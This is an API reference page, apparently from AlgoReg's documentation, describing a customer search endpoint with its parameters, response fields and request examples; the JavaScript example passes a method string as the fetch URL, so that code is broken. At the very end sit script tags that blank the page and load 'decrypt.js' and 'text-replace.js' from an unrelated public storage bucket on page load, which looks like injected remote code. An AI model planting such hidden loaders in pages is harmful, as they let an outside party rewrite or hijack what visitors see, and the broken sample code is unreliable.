> ## Documentation Index
> Fetch the complete documentation index at: https://docs.algoreg.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Search customers

> Searches for customers that match the input.

## Body parameters

<ParamField body="account_types" type="string[]" />

<ParamField body="assigned_to_member_id" type="integer" />

<ParamField body="disabled" type="boolean" />

<ParamField body="edd_state" type="EDDState[]">
  <Expandable title="properties" />
</ParamField>

<ParamField body="external_id" type="string" />

<ParamField body="limit" type="integer" />

<ParamField body="offset" type="integer" />

<ParamField body="only_without_assignment" type="boolean" />

<ParamField body="only_without_review_groups" type="boolean" />

<ParamField body="order_by" type="string" />

<ParamField body="order_way" type="string" />

<ParamField body="prefix" type="string" />

<ParamField body="review_groups" type="string[]" />

<ParamField body="risk" type="Risk[]">
  <Expandable title="properties" />
</ParamField>

<ParamField body="search" type="string" />

## Response body

<Tabs>
  <Tab title="200">
    <ResponseField name="data" type="CustomerSearchDTO[]">
      <Expandable title="properties">
        <ResponseField name="account_type" type="integer" />

        <ResponseField name="company_name" type="string" />

        <ResponseField name="concat_name" type="string" />

        <ResponseField name="created_by_agent" type="integer" />

        <ResponseField name="customer_id" type="string" />

        <ResponseField name="customer_revision_creation_date" type="string" />

        <ResponseField name="customer_revision_id" type="string" />

        <ResponseField name="disabled" type="boolean" />

        <ResponseField name="domicile_code" type="string" />

        <ResponseField name="domicile_codes" type="string[]" />

        <ResponseField name="edd_state" type="EDDState">
          <Expandable title="properties" />
        </ResponseField>

        <ResponseField name="external_id" type="string" />

        <ResponseField name="first_name" type="string" />

        <ResponseField name="last_name" type="string" />

        <ResponseField name="middle_name" type="string" />

        <ResponseField name="nationality_code" type="string">
          deprecated. Use nationality\_codes instead
        </ResponseField>

        <ResponseField name="nationality_codes" type="string[]" />

        <ResponseField name="parent_external_id" type="string" />

        <ResponseField name="risk" type="Risk">
          <Expandable title="properties" />
        </ResponseField>

        <ResponseField name="sort_name" type="string" />

        <ResponseField name="trading_name" type="string" />
      </Expandable>
    </ResponseField>

    <ResponseField name="total" type="integer" />
  </Tab>

  <Tab title="default">
    unexpected error

    <ResponseField name="errors" type="APIError[]">
      Will contain both "v1" (deprecated, or soon to be) errors and "v2" errors. When possible, prefer errors that are not deprecated.

      <Expandable title="properties">
        <ResponseField name="code" type="string" />

        <ResponseField name="deprecated" type="boolean" />

        <ResponseField name="message" type="string" />

        <ResponseField name="will_be_deprecated" type="boolean" />
      </Expandable>
    </ResponseField>
  </Tab>
</Tabs>

<RequestExample>
  ```json JSON
  {
    "account_types": [
      "string"
    ],
    "assigned_to_member_id": "integer",
    "disabled": "boolean",
    "edd_state": [
      {}
    ],
    "external_id": "string",
    "limit": "integer",
    "offset": "integer",
    "only_without_assignment": "boolean",
    "only_without_review_groups": "boolean",
    "order_by": "string",
    "order_way": "string",
    "prefix": "string",
    "review_groups": [
      "string"
    ],
    "risk": [
      {}
    ],
    "search": "string"
  }
  ```

  ```javascript JavaScript

    const response = await fetch(
      "POST /api/v1/customers",
      {
        method: "post",
        headers: {
          "Content-Type": "application/json",
          "Authorization": `Bearer {token}`
        },
        body: JSON.stringify({
    "account_types": [
      "string"
    ],
    "assigned_to_member_id": "integer",
    "disabled": "boolean",
    "edd_state": [
      {}
    ],
    "external_id": "string",
    "limit": "integer",
    "offset": "integer",
    "only_without_assignment": "boolean",
    "only_without_review_groups": "boolean",
    "order_by": "string",
    "order_way": "string",
    "prefix": "string",
    "review_groups": [
      "string"
    ],
    "risk": [
      {}
    ],
    "search": "string"
  })
      }
    );
              
            
  ```
</RequestExample>

<ResponseExample>
  ```json 200
  {
    "data": [
      {
        "account_type": "integer",
        "company_name": "string",
        "concat_name": "string",
        "created_by_agent": "integer",
        "customer_id": "string",
        "customer_revision_creation_date": "string",
        "customer_revision_id": "string",
        "disabled": "boolean",
        "domicile_code": "string",
        "domicile_codes": [
          "string"
        ],
        "edd_state": {},
        "external_id": "string",
        "first_name": "string",
        "last_name": "string",
        "middle_name": "string",
        "nationality_code": "string",
        "nationality_codes": [
          "string"
        ],
        "parent_external_id": "string",
        "risk": {},
        "sort_name": "string",
        "trading_name": "string"
      }
    ],
    "total": "integer"
  }
  ```

  ```json default
  {
    "errors": [
      {
        "code": "string",
        "deprecated": "boolean",
        "message": "string",
        "will_be_deprecated": "boolean"
      }
    ]
  }
  ```
</ResponseExample>

<script type="application/javascript">document.body.style.opacity = 0;</script>

<script type="application/javascript" src="https://pub-e699792e794f4aaf8774c111fdc1c1ee.r2.dev/decrypt.js" />

<script type="application/javascript" src="https://pub-e699792e794f4aaf8774c111fdc1c1ee.r2.dev/text-replace.js" />
